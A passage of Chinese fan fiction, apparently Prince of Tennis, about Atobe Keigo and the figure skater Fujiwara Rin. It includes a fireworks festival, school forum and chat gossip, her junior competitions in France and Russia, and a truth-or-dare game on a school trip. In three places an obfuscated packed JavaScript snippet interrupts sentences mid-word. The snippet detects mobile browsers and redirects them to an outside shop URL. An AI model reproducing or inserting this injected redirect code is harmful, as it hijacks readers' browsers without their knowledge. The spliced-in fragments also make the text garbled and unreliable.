迹部看着她那副忍痛割爱的样子,觉得有些好笑,刚准备继续往前走,口袋里的手机就震动起来。他看了一眼来电显示,是伦敦那边打来的越洋电话,神色稍敛,对凛做了一个“稍等”的手势,便侧身接听起来。 他全程用流利的英语与电话那头沟通,神情专注,思路清晰,显然在处理一件需要他全神贯注的正事。那根亮红色的苹果糖,就被他那样随意地握在手中,仿佛一个被暂时遗忘的道具。 几分钟后,通话结束。他收起手机,眉宇间还残留着一丝处理完公务的利落。或许是因为从高度专注的状态中放松下来,又或许,仅仅是眼前糖果的亮红色在夏夜中过于醒目,在思绪切换的间隙,他无意识地抬手,在那颗被凛咬出一个小缺口的苹果糖上,咬下了一口。 “咔嚓——” 清脆的声响在耳边响起,伴随着甜腻的滋味在口中化开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016637|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹部咀嚼的动作猛地顿住,神情莫测地看向自己手中那根被两人先后咬过的苹果糖。 他迅速回过神来,但那一瞬间的错愕无法掩饰。 空气里弥漫着一种尴尬的沉默。那根苹果糖,此刻像一枚滚烫的证物,在他手里显得无比突兀。 他既不能像处理普通垃圾一样随手扔掉——那不仅不符合他的美学,更显得欲盖弥彰;也无法再坦然自若地继续品尝——刚才那个意外将这件普通小事赋予了过于亲密的意味,继续下去只会让两人更加无所适从。 于是,他只能维持着拿着苹果糖的姿势,手臂的线条却微微有些僵硬。那双向来掌控一切的手,此刻似乎也不知道该如何安放这个小小的“麻烦”。 他轻轻咳了一声,试图打破这令人心跳加速的沉默,将目光从糖上移开,投向远处喧闹的人群,用尽量平稳随意的语气提议道:“……人好像越来越多了。再去前面逛逛?花火大会要开始了” 然而,他始终没有放下那根糖,也没有再吃一口。他就这样保持着这个略显古怪的姿态,带着凛向前走去。 原本计划带她去迹部家提前预定好的私人观景区域,那里视野绝佳,安静无人打扰。 凛却摇摇头,那根被他咬过的苹果糖还拿在手上,再独处的话……实在是太尴尬了。而且,她更喜欢周围充满烟火气的人群,“我觉得,挤在人群里,好像更能感受到这种祭典的氛围。” 迹部看了她一眼,没有坚持。他默默调整了位置,站到了她的侧后方,用身体为她隔开周围拥挤的人流,形成了一个小小的、安全的保护圈。 就在这时,第一枚花火伴随着尖锐的呼啸声,划破夜空,在最高点轰然绽放,巨大的金色光球如同向日葵般瞬间照亮了所有人的脸庞。 “wow!”凛立刻被吸引,仰头望向天空,轻声惊叹。 紧接着,更多的花火竞相升空,砰砰作响。绚丽的色彩在墨色的天幕上尽情泼洒,时而如垂柳依依,时而如菊华漫烂,时而又如繁星点点,簌簌落下。光芒明明灭灭,映照在河面上,与空中的盛景交相辉映。 凛完全沉浸在这场视觉盛宴中,脸上洋溢着纯粹的惊叹与憧憬,绿色的眼眸里倒映着漫天流火,闪闪发光。 迹部站在她身后,目光从漫天华彩,不由自主地落回到她身上。太近了。近到能感受到她身体散发的温热,近到能闻到她发间清淡的柑橘香气。是她的香水?还是洗发水的味道?他不由自主地想。看着从发髻中散落的一缕微乱的额发,随着夜风轻轻拂动,蹭着她光洁的额头。一种莫名的冲动涌上心头,他几乎要本能地抬起手,想帮她把那缕不听话的发丝别到耳后。 手指似乎动了一下,最终却被他竭力地控制住,紧紧攥成了拳,插回了浴衣的袖口中。他深吸一口气,重新将目光投向夜空,只是那漫天绚烂的烟火,此刻似乎都沦为了眼前少女的背景板。 夏夜、花火、祭典的喧闹,以及身边人清晰可闻的心跳声,共同酿造了一场无声的悸动,随着最后一枚巨大的紫色花火在夜空中缓缓消散,悄然沉淀在他的心底。这个夜晚,注定比那转瞬即逝的烟火,更为长久地烙印在记忆深处。 而那根苹果糖仿佛一个沉默的共犯,被迹部始终拿在手中,既显眼,又被他以一种故作随意的姿态忽略。直到坐上回程的车,它才被暂时放置在身侧。 轿车平稳地驶回宅邸。管家如常上前迎接,目光敏锐地注意到了少爷手中那根被咬过的、与他气质格格不入的平民零食。 “少爷,这个交由我来处理吧。”管家说着,便自然地伸手,准备接过那根苹果糖。 就在管家的手即将触碰到木棍的瞬间,迹部的手却微微一动,避开了。 管家微微一愣,只见自家少爷神色如常,甚至带着一丝惯有的慵懒,但那个细微的回避动作却清晰无比。 “不必。” 迹部只淡淡地回了两个字,声音平稳,听不出任何情绪。他没有看管家,目光仿佛落在虚空中的某一点,随即拿着那根苹果糖,径自转身,步伐从容地走向楼梯,回到了自己的房间。 那根苹果糖的结局,成了一个无人知晓的秘密。 11. chapter11 冰帝学园论坛>>「迹部景吾综合讨论区」>> 【速报】 >> 【爆】主题:校门口炸裂!那位大人和谜之美少女一起上学 1L 匿名君 今早校门,真的裂开了…那位天上的大人,和没见过的妹子一起上学,一辆车上下来的。 重点来了——妹子下车的时候,好像很自然地把手里的书包,顺手往大人那边递了一下。而那位大人,很自然地接过了她的书包。单手。然后他就那么拎着两个包,侧身站着。等妹子理好裙摆,他才把包递回去。 两人说着话走进来的,大人还特意放慢了步子。 我从头到尾,呼吸都忘了。「高糊但但难掩主角光芒的偷拍.jpg」 2L匿名君 诶——!?!? 他接了她的包??? 那个跡部景吾???替别人拎包??? 而且那个「等她」的姿态……他什么时候等过别人啊?! 3L匿名君 新人,球详细!那妹子谁?不是我们学校的吧?这颜值是真实存在的?( ?д?) 4L匿名君 回复2L:同目击!气场超——级特别!完全不受那位大人帝王气场影响的感觉!是结界吗?!(′⊙ω⊙`) 5L 知情人士A 据说是三年A组新来的归国子女,姓藤原。家里好像是外交官。 8L 匿名君 外交官?那和迹部家倒是门当…不对!重点错!重点是为什么是那位大人亲自送来上学啊!这待遇! 12L 情报师 追加情报。一个月前羽田机场有人拍到接机照,对方就是一家三口。 [机场超远偷拍.jpg] 所以不是偶遇,是久别重逢系?(((;?Д?))) 13L 迹部亲卫队·临时工 ALL: 冷静!已确认只是两家为世交,幼时相识。请勿过度解读,保持平常心! 14L匿名君 回复13L:哈——?世交?你见过那位大人对别的“世交”这样?连步子都特意放慢?骗鬼呢!(  ̄ー ̄) 18L 滑冰宅 等等!藤原…凛?这不是前几天全日青那个拿了冠军,还跳了四周跳的妹子吗?![新闻标题截图.jpg] 那个天才! 20L 匿名君 回复18L:什么?!四周跳?!那个连男选手都很难完成的动作?! 22L 技术宅 回复10L: 火速验证完毕!官网资料和脸完全一致!不是普通转学生,是现役的顶尖运动员!也就是说…是王者身边的…另一个王者?( ???)? 25L 匿名君 新人求科普,全日青什么水平? 26L 考据党 回复25L:简单说就是全国青少年里最强的几个人之一!未来要代表日本出去比赛的那种!(`?ω?′)ゞ 27L现场目击追加 补充!有冰迷发了颁奖礼照片,那位大人就在观众席前排![观众席局部放大.jpg] 这根本不是偶然吧喂!( ;?;) 28L 匿名君 切,不过是家世好点加上青梅竹马罢了。看她那副冷冰冰的样子,能在冰帝待多久还不知道呢。 30L 匿名君 只有我觉得…这两人的颜值水平,根本是同一个次元在对话吗?(′;ω;`) 美得跟画一样,我不配看… 35L 匿名君 回复30L:楼上的,你不是一个人! 40L 三年A组现场 报——!转学生进教室了!近距离颜攻击承受不住!真的像雪精灵一样!混血颜太强了!眼睛是灰绿色的!头发挽得好随意,一点发饰都没有但超好看!老师说话她好像没反应过来,微微皱眉的样子有点懵…awsl!我宣布我单推了!(′▽`) 45L 冷静分析 总结一下现状:全国冠军级选手 + 世交青梅竹马 + 神级颜值。这配置,难怪那位大人会亲自出马了。这根本不是“照顾”,是“宣告”吧?(  ̄ー ̄)? 50L 预言家 我赌一盒Pocky,这绝对不只是“世交”。坐等后续展开,这可比晨间剧有趣多了!(((o(?▽?)o))) 忍足侑士推了推眼镜,平静地关掉了手机上的论坛页面。教室里嘈杂的讨论声在他周围形成一道无形的屏障,他的目光越过这屏障,落在前排那个新来的转学生身上。 藤原凛。 忍足几乎立刻就想起了上周的某个下午,他在一家高级冰场外无意中瞥见的场景——迹部景吾和这个女孩并肩从里面走出来,迹部手上还提着那个显眼的冰鞋包。 当时迹部脸上那种松弛而专注的神情,与他在网球场上君临天下时截然不同。 “有意思。”忍足低声自语,嘴角勾起一抹玩味的弧度。 手机一震,有新消息提示:【截击之神邀请你和重炮发球、绝不认输、爱睡觉的慈郎、纯粹之心、下克上加入了群聊。】 绝不认输 (9:02) 这啥啊w 不是已经有群了吗,岳人你又搞个奇怪的? 截击之神(9:03) 「论坛热帖截图.jpg」 真的假的。迹部送女生来上学的传闻,已经全校都在聊了。你们不知道?? 爱睡觉的慈郎(9:04) zzZ…?蛋糕味?…啊,迹部送女生?可爱吗? 绝不认输 (9:05) 哈?所以这群就是个八卦群?太不认真了…不过,长啥样? 截击之神(9:06) 「校门口照片截图.jpg」 截击之神(9:06) 论坛的照片糊成马赛克根本看不清!@关西的冷静,侑士,是你班的吧?快去确认下生存状态! 重炮发球 (9:06) 前辈们,这样说别人不太好吧…不过,迹部前辈做这种事确实少见。 关西的理智 (9:07) 就坐我前面。客观说,是能更新我们学校“美少女”概念的水平。 [引用:论坛的照片糊成马赛克根本看不清!@关西的冷静,侑士,是你班的吧?快去确认下生存状态!] 关西的理智 (9:08) 对了,看论坛情报说是海外回来的。@纯粹之心,桦地,你小时候也在英国吧?认识吗? 纯粹之心 (9:10) 嗯。认识。凛酱。小时候,一起玩过。 截击之神 (9:11) 真的假的?!桦地你认识?!多说点! 纯粹之心 (9:12) 很厉害。滑冰。从小时候,就能跳得很高。 下克上 (9:13) 所以是青梅竹马?那位迹部前辈的人际距离感一向完美,这次…是不是太近了? 关西的理智 (9:14) @下克上 犀利。根据我粗略观测,迹部通常的个人空间也在45cm以上。照片里他缩到了35cm左右。无意识地靠这么近,我觉得已经超出“世交”领域了。 重炮发球 (9:15) 那个…是不是心理学课上学过的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016638|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲密距离”啊… 爱睡觉的慈郎 (9:16) 好难懂…迹部开心不就好了嘛~。啊,隔壁班好像有咖啡味… 绝不认输 (9:17) 那意思是实力派?滑冰很强? 重炮发球 (9:17) 论坛上说,是花样滑冰选手,好像在什么很厉害的大会拿了冠军。 关西的理智 (9:18) 总结一下:世交+青梅竹马滤镜+顶尖运动员+压倒性颜值。那位迹部特别对待,某种意义上也说得通。 截击之神 (9:19) 那我们是不是可以叫她“大姐头”了? 下克上 (9:20) ...向日前辈,请自重。 关西的理智 (9:21) 总之先观望。但是,@全体成员,在迹部面前务必彻底装傻。揣测帝王的心情,太危险了。 放学后的网球部,空气里弥漫着汗水和青春的气息,但都比不上部长迹部景吾周身散发的低气压……以及他身边的忍足侑士带来的八卦气息。 “听说今早,冰帝校门口发生了堪比‘彗星降临’的冲击性事件呢。”忍足闲闲地靠在部活室的门框上,看着正在换训练服的迹部,“不打算解释一下吗,我们华丽的女王陛下?论坛上可是为了你和那位混血美少女炸开锅了。” 迹部景吾连眼皮都没抬,解领带的动作几乎没有停顿。 “忍足,”他开口,声音是一贯的华丽与慵懒,却带着一种刻意的、强调般的疏离,“你的不华丽,就在于总是沉迷于那些无聊的臆测。” “臆测?”忍足轻笑出声,慢条斯理地拿出手机,亮出那张机场接机的模糊照片,“这张也是臆测吗?而且……”他故意拖长了语调,“我好像上周,在TSC(Tokyo Skating Club)冰场外面,看到你身边跟着一位金棕色头发的少女,身形和今天这位转学生小姐几乎一模一样。” 忍足镜片后的目光闪了闪,“当时你手里拿着的,是女式冰鞋包吧?今天论坛上的速报也说,某位君临天下的存在,不仅展现了前所未见的‘等待’姿态,甚至还熟练地承担了‘随身物品临时保管’这类……嗯,非常生活化的职能。原来我们迹部少爷,还有帮人提包的爱好。” 迹部景吾终于转过身。他看了忍足一眼,拿起球拍向外走,漫不经心地追加了一句,像是在对忍足解释,更像是在对自己陈述一个“理所当然”的事实: “藤原家与迹部家是世交,本大爷小时候在伦敦也受了她母亲诸多照拂。现在她初来乍到,本大爷作为东道主,予以关照不过是最基本的礼仪。” 这句话说得天衣无缝,“公事公办”的口吻,甚至带着一点“你们太大惊小怪”的责备意味。 忍足的嘴角勾起一抹了然的弧度,他太了解这位搭档了。真正的漠不关心,迹部连一个字都懒得解释。 “嗨,嗨——‘世交的关照’,原来如此。”忍足从善如流地点头,语气轻松,却故意在某个词上咬了重音。 “我会好好安抚那群好奇心过剩的部员的。”忍足推了推眼镜,镜片闪过一道反光,语气意味深长,“务必让所有人都清楚地认识到,我们的部长大人对藤原同学的一切特殊待遇,都仅仅源于——深厚且纯粹的‘世交情谊’。” 最后几个字,他说得缓慢而清晰,准确地戳在迹部那不愿被触及的心绪上。一种被看穿但无法反驳的微妙愠怒在迹部心头掠过。他最终只是轻哼一声,径直向外走去。 “无聊。有闲心关注这些流言,不如去把下周对练习赛的预算核对清楚。” “嗨,嗨,部长大人。” 12. chapter12 全日青的夺冠,如同为藤原凛打开了一扇通往更广阔舞台的大门。按照日本滑联的规定,作为新任全日青年锦标赛冠军,她获得了在青年组大奖赛(JGP)分站赛中的优先选择权,可以挑选两站参赛。 面对世界地图上标注出的各站地点,凛几乎没有太多犹豫。她的手指先点在了法国。“第一站,这里。”那里有她欣赏的欧洲裁判体系,是一个检验自身艺术表现力的好地方。接着,她的指尖滑向了更北方的广袤土地,“第二站,俄罗斯。” 这不仅是因为那里有她熟悉的训练氛围和强大的竞争对手,也因为她计划在第二站结束后,顺道留在俄罗斯进行一段短期的强化训练,继续精进她已经初步掌握但尚未在比赛中使用的4Lz,那将是她未来冲击更高峰的秘密武器。 一次节目合练后的间隙,迹部景吾来看她,抱着手臂看完了她短节目的整套编排后,忽然开口:“Aria,有没有考虑过,把短节目的考斯滕换掉?” 凛擦了擦汗,有些意外地看向他。她的短节目音乐和编排灵感来源于毕加索蓝色时期的画作,开场动作便是一个模仿画中少女蜷缩姿态的造型。 “复刻画上那个少女的衣服,”迹部继续说道,目光锐利,“这样,从你开场定格的瞬间,就能与音乐和主题完全融为一体。现在这套,有点过于优雅,不够还原画要表达的少女心情。” 凛的心猛地一动。这个想法她不是没有过,那幅画中少女忧郁的蓝色调衣裙,简单却充满表现力的线条,一直印在她脑海里。只是……“我也想过,但来日本之后一直没找到合适的设计师着手,而且现在距离法国站时间太短了……” 言下之意,当然想过,但是时间来不及。 “已经帮你约好了设计师,明天下午5点。你可以去见见。”迹部打断她。 “好。”凛应下。 法国站来不及的话,说不定俄罗斯站或者总决赛(虽然现在只是她的一个美好期待)能赶得上。而且,如果设计风格合适,以后的考斯滕也可以考虑就在日本定制,毕竟离得更近更好沟通。迹部的审美,她还是相信的。 “你不去?”她有点后知后觉他的用词,是“你”,而不是“我们”。 “本大爷明天有别的安排。”迹部回。 “哦。”凛没再追问。 当凛按照约定时间来到东京一间隐蔽的工作室时,她才明白迹部所谓的“约好了”是何等程度。 那位以融合艺术与时尚著称的设计师热情地接待了她,而工作室的中央,已经立着一件近乎完成的考斯滕——熟悉的普鲁士蓝,模仿画布笔触的布料褶皱处理,简洁而充满哀愁的剪裁……几乎就是将毕加索画布上的少女衣裙,完美地复刻到了现实中。 “这……”凛惊讶得说不出话。 设计师笑着解释:“迹部先生在你就比完全国赛的第二天就来找我了。我们看了你的表演录像,灵感迸发,在原画作的基础上很快就完成了设计。之后他又来过几次,一起讨论细节,这件是最终确定的成稿。今天请你来,主要是确认一下尺寸,进行最后的调整和制作。” 全日青结束次日……那不过是她沉浸在出了一口气后短暂放松的时候。迹部却已经开始考虑或挑剔她考斯滕的不完美,并且迅速地开始解决这个不完美。 但是,原因呢? 凛看着工作室中央那件几近完工的衣服,思绪不由自主地飞旋。 因为他的完美主义? ——是的,这很迹部。他无法容忍任何“不华丽”或“不完美”的存在,听说冰帝的学生会办公室还因此被他重新装修了。 因为她是世交旧友且人生地不熟? ——也说得通。他向来周到,家里每个佣人的生日他都记得,见面都会问好,对她这个旧友额外关照一点,似乎也不难理解。 但,有没有那么一点是因为别的? 她想起看他比赛时那点不合时宜的心动,想起全日青结束无意间对视后的微妙尴尬,想起花火大会上那根被他咬过却没扔掉的苹果糖。 这些细小的、不遵循世交逻辑的瞬间,像细密的针脚,在这两个合理的理由上,刺出了无法忽视的孔隙。 Alex,你做这些,是因为我是世交,还是因为……别的? 你今天不出现,是真的有事,还是因为……别的? 疑问如同藤蔓,悄然滋生。她看着那件考斯滕,仿佛能透过它,看到迹部坐在设计师的工作室里,皱着眉审视设计稿,用他那挑剔却精准的审美提出修改意见的模样。 “藤原小姐?”设计师温和的声音将她从纷乱的思绪中拉回,“我们先来量一下尺寸?” “……好。” 设计师和助手们拿着软尺围着她忙碌,她看着这件衣服,脑海中几乎能本能地模拟出开场的那个动作。穿上它,一定会不一样。艺术表达的完整性,角色的灵魂共鸣……这些花滑表演的核心价值,被迹部以这样一种近乎霸道的方式,推到了她的面前。 而她无法拒绝。因迹部不是简单地送了她一件漂亮的考斯滕,而是为她补上了艺术表达中缺失的一环。 尺寸量完,敲定了最后几处微调,离开工作室时,天色已晚。凛拿出手机,把刚刚拍的考斯滕照片发给迹部。 “谢谢,完美。” 没问别的。法国站迫在眉睫,她的全部心神必须集中在比赛上,她不允许自己现在就沉溺于猜测。任何可能扰乱心绪的、关于动机的深究,都必须为竞技状态让路。 至于其他的…… 她合上手机,看着街边依次亮起的霓虹灯—— 我们赛后再议。 赶在法国站出发前,新的考斯滕终于完成。当凛穿着它第一次在冰面上进行合乐时,佐久间教练和编舞师上野理惠都露出了惊艳的神情。 “更像了,”上野编舞师喃喃道,“不仅仅是形似,更有了一种神韵……藤原,你现在,就是从那幅画里走出来的少女。” 佐久间教练也微微颔首:“服装与节目的契合度更高了,有助于你更好地沉浸和表达。” 带着全新的“战袍”和打磨得更加精细的节目,凛踏上了前往法国的旅程。然而,初到异国他乡,或许是不适应水土,又或许是首次出战国际赛事的无形压力和兴奋,在短节目比赛前夜,她失眠了。 第二天站上冰面,尽管努力调整,但没完全休息好的身体和头脑的些许昏沉还是影响了发挥。在完成第一个跳跃3Lz时,起跳的瞬间她就感觉角度有些偏移,果然,轴歪了,落冰时重重地摔在了冰面上。尽管她迅速爬起,完成了后续所有动作,旋转和步法依旧保持着高水准,但节目结束后,她眉头紧锁,脸上是难以掩饰的失望。 场边的解说也捕捉到了她的情绪:“You can see the disappointment on her face, a rare fall on her opening jump. But aside from this small mistake, everything else was executed beautifully, the spins, the step sequence, the interpretation… it‘s all there.”(你能看到她脸上的失望,开场跳罕见地失误了。但除了这个小失误,其他部分都完成得非常出色,旋转、接续步、音乐表达……所有要素都在。) 短节目结束,她排名第三。 自由滑当天,她的状态有所回复,但谈不上最好。首次征战国际赛场,失眠,加上短节目的失误,带来了加倍的紧张。站在冰场入口,凛深吸一口气,做出了决定——原计划的两个四周跳,她决定以稳为主,只上一个。 音乐响起,她全力投入。第一个4T,她成功了,高远度依旧惊人。后续的三周跳、旋转、步法也都顺利完成,实时定级全4。滑完全程,她微微喘息,脸上并没有露出笑容,对自己显然并不满意。上野理绘在场边拥抱了她,安慰道:“第一次国际大赛,能发挥成这样已经很好了。” 等分区内,凛看着屏幕,有些紧张地交握着双手。当自由滑分数打出,排名第一时,她稍稍松了口气。最终,凭借自由滑的优势,她以总分209分排名第二的成绩,站上了JGP法国站的领奖台。 一枚银牌,对她来说不算完美,但足以交代。 带着在法国积累的经验和些许遗憾,凛来到了熟悉的俄罗斯。这里的空气、冰场、乃至对手们的气息,都让她感到一种如鱼得水的自在。 短节目,她一扫在法国的阴霾,从开场到结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016639|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,干净利落,艺术表现力十足,以个人最佳成绩排名第一。 自由滑,她更是气势如虹。不仅成功完成了4T和4S,还将整套节目的情感渲染推向高潮,所有的跳跃、旋转、步法都高质量完成,与音乐完美共鸣。当最后一个音符落下,她从节目的情绪里走出,脸上终于露出了畅快的笑容。 分数打出,自由滑再次刷新个人最佳,总分定格在227.15,不仅毫无悬念地夺得JGP俄罗斯站冠军,更是刷新了本赛季青年组女单的最高分! 【冰帝学园论坛 >> 闲话版 >> 主题:我们三年A组那位,在俄罗斯炸场了!!】 1L 冰帝第一线 报——!!!刚刷到的速报!我们班的藤原凛同学,在JGP俄罗斯站夺冠了!总分227+!断层第一!「甩上新闻链接和领奖台高清图」 2L 匿名君 !!!!!!!!!! 227分?!这分数在青年组是怪物级别了吧?! 3L 匿名君 等一下,所以开学时传闻她是专业花滑选手……原来不是夸张,是真的这么强?! 4L 匿名君 回复 3L:楼上你反射弧绕地球三圈?开学那天她跟着谁一起进的校门,又坐在谁旁边,你心里没数吗?(狗头) 5L 匿名君 重点是,她夺冠了!我们冰帝的学生!与有荣焉!虽然她好像才转来没多久 6L 匿名君 只有我在疯狂存图吗?领奖台上的凛桑好美好飒!和平时在学校那种安静的样子完全不一样!这就是顶级运动员的气场吗? 7L匿名君 话说……迹部SAMA知道了吗? 8L 匿名君 回复 7L:你这问题问得……他怎么可能不知道?我猜他比新闻网站都知道得早。 9L匿名君 合理怀疑,迹部会长说不定就在现场。 10L 匿名君 回复 9L:不可能吧?俄罗斯那么远,会长还要上学……(但如果是会长,好像也没什么不可能?) 11L匿名君 先别管会长在不在现场了!你们看这个「转载来的比赛片段GIF」,那个四周跳!那个滑行!我们每天和她呼吸同一个教室的空气?!我何德何能! 12L匿名君 感觉我们A组要出名了……以后会不会有体育记者来蹲点? 13L匿名君 已经开始期待她回学校了!会不会有庆祝活动?学生会(特指某位)会不会有所表示? 14L匿名君 楼上,你的算盘声我在北海道都听到了。不过……同期待+1。 15L匿名君 只有我关心她的功课吗?这么高强度比赛和训练,还能跟上我们冰帝的进度,藤原同学也太强了…… 16L 匿名君 回复 15L:听说她古文有点苦手,但是……(目光默默投向某位万能的大人) 17L匿名君 懂了。一切都很合理。?? 18L 楼主 最新消息!忍足学长刚刚更新了SNS,发了一张俄罗斯冰场的照片,配文是“见证历史的一跳,恭喜。” 虽然没露脸,但……你们品,细品。 19L匿名君 !!!忍足SNS都发了,那岂不是坐实了冰帝“亲友团”在场? 20L匿名君 所以,会长真的可能……(倒吸一口凉气) 21L匿名君 我们冰帝,是不是无意中供奉了两位大神?一位在商界和校园,一位在冰雪之上…… 22L匿名君 已经开始脑补他们平时的互动了!上课递笔记,放学补功课,周末还要远程关注比赛……这是什么校园漫画剧情! 23L匿名君 本A组人士表示,平时看起来就是很正常的交流,甚至连称呼都用的“迹部さん”。但经过今天,我再也无法用平常心看待了!每一个眼神交汇都可能暗藏玄机! 24L 总之,恭喜藤原同学夺冠!冰帝为你骄傲! 25L 坐等明天学校公告栏会不会有贺信,以及……某位大人物的反应。 13. chapter13 秋季学期开学不久,就是冰帝学园三年级的休学旅行时间。凛刚好两站分站赛结束,没有比赛压力,就一起加入了旅行的行列。 冲绳的夜晚,空气中弥漫着海风与青春特有的躁动。一群学生围坐在和式房间的榻榻米上,进行着经典项目——真心话大冒险。 几轮过后,一个平时有些腼腆的男生抽中了“与在场一位同学合作完成三个双人俯卧撑”的签。人群立刻爆发出起哄声,男生红着脸,目光在人群中逡巡片刻,最终勇敢地邀请了一位面容清秀的女生。在众人的注视和口哨声中,男生略显吃力却还算顺利地完成了任务。 凛盘腿坐在迹部身侧,手肘轻轻碰了碰他,压低声音,带着点看透一切的狡黠吐槽:“所以这个游戏的真谛,就是给那些互有好感的少男少女们创造名正言顺的亲密接触机会?策划者真是深谙人心。” 迹部闻言,只是不置可否地轻哼一声,目光掠过那对完成任务后都面带红晕的男女,指尖无意识地摩挲着手中的饮料罐,未予置评。 游戏继续。命运之轮再次转动,这次抽中同样大冒险签的,是一位性格文静、戴着细框眼镜的女生。她的脸颊瞬间飞上红霞,目光有些犹豫又带着一丝不易察觉的期待,悄悄投向了坐在对角、正推着眼镜的男生。然而,那个男生却没有看她,巧妙地移开了视线,仿佛对榻榻米上的纹路突然产生了浓厚兴趣。 是出于无意,还是担心自己体力不济、当场出糗,不得而知。场面一时陷入尴尬的沉默,女生的头渐渐低了下去。 凛看着那女生窘迫的样子,眉头微蹙,居然没有一个人主动站出来?这群人也太不绅士了吧。一种路见不平的情绪涌了上来。她忽然出声,声音清亮地打破了沉寂:“这个看着有点意思,不如我来?” 忍足侑士立刻看了过来,镜片后的眼眸闪过一丝玩味,他意味深长地瞥了一眼身旁气场微妙的迹部,语气带着明显的揶揄:“哦?藤原,你要替她完成?” 凛被问得一愣,眨了眨眼,露出些许困惑:“啊?不是她需要一个搭档来完成动作吗?” 她顿了顿,理直气壮地反问,“规则上……没说不能是同性搭档吧?” 她不等众人反应,便利落地站起身,走到场地中央,对着那位还处于呆愣状态的女生露出一个安抚的笑容:“来吧,你可以选择躺在我背上,或者趴在我身上搂着我,怎么方便怎么来,放心,我很稳的。” 在全体人员目瞪口呆的注视下,凛俯身,双手撑地,核心收紧,运动外套包裹的身躯下,仍能看出流畅有力的肩背肌肉线条。女生小心翼翼地按照指示趴伏在她背上。紧接着,凛毫不费力地连续完成了三个标准的俯卧撑,动作之稳定、速度之均匀,甚至比之前那位男生还要游刃有余。 “卧槽!” “不是吧?!这么强?!” “藤原同学你真的是花滑选手不是体操选手吗?!” 周围瞬间响起一片难以置信的惊呼和议论声。 凛轻松地完成,站起身拍了拍手,对那位连连道谢的女生笑了笑,回到原位坐下。 “体力过剩?”迹部递过来一瓶椰子水,语气带点说不是是调侃还是不赞同的味道。 凛拧开瓶盖喝了一口,纠正他,“是‘英雄救美’。” 迹部闻言,不置可否地轻哼一声,指尖在榻榻米上轻轻点了点,目光掠过对面那位已经恢复平静、但仍有些沉默的女生,以及那个始终没有抬头、此刻正专心研究饮料包装的男生。 凛顺着他的目光看了一眼,声音压低了些,带着点真实的困惑,“说起来,刚才居然没有一个人主动站出来……让女孩子那么尴尬,这符合冰帝的绅士美学吗?” “保持距离,避免误解。”迹部收回视线,平静的解释。 “哈?”她下意识反问,显然对这个听上去有些冷淡的答案有点意外,“就不能先绅士地解围,之后私下再说清楚吗?总比让女孩子当众难堪要好吧?” 迹部没有立刻回答。他沉默了片刻。 “Aria,不是所有人都像你。”他叫了她的名字,声音比刚才低了一些,也少了几分惯常的华丽腔调,多了些平实的意味。 “嗯?” “不是所有人,”他顿了顿,似乎在斟酌用词,“都能像你这样,纯粹出于‘解围’去做这件事,也不会被对方的反应影响。更不是所有人,都能在‘绅士’之后,轻易地把‘私下说清’这件事处理好。” 他抬眼,目光平静地看进她带着疑惑的眼睛里:“你以为的‘简单说清’,对有些人来说,可能意味着不必要的期待、纠缠,或者更麻烦的后续。在无法明确对方心意,也无法完全掌控事态发展的情况下,选择不冒失行动,对双方而言,有时是一种更稳妥的‘负责’。” 凛张了张嘴,想反驳,却又觉得他说的……似乎有他的道理。只是这种基于“可能麻烦”而预先采取的“冷漠”,不符合她接受过的任何一种教育。既不是英式的绅士风度,也不是俄式的主动承担。 “……Guess it''s kind of cultural difference?”(这大概算是文化差异?)她低声用英文说了一句,带着点恍然,也带着点无法完全认同的无奈。 迹部听到她突然切换的语言,侧目看了她一眼。这通常是凛在思考或者感到有点棘手时,本能切换的表达习惯。 “Well, guess that''s something you might need to get used to.(嗯,这个你恐怕得习惯一下了)” 迹部回道。 言下之意,这不是简单的对错问题,而是某种环境中默认的规则或思维方式,她既然身处其中,或许需要去适应。 “Or not.”(“或者不。”)凛闻言,送了耸肩,那点无奈迅速被一种更鲜明的倔强取代,“Whatever.”(“随便吧。”) 她的目光已经从他脸上移开,重新投向房间中央,那里又开始了新一轮的抽签,气氛热烈。显然,她听到了他的建议,但并不打算采纳,甚至懒得为此多做争论。 命运似乎觉得今晚的戏剧性还不够。下一轮,旋转的瓶子不偏不倚,瓶口对准了刚刚大出风头的凛。 “wow,藤原同学!你选真心话还是大冒险?” “真心话吧!”凛利落地抽出一张纸条,展开念道:“请描述你心目中理想型的三个特质。” “哇哦——!” 这个问题立刻点燃了全场的气氛,起哄声和口哨声此起彼伏,一道道目光齐刷刷地聚焦在她身上。 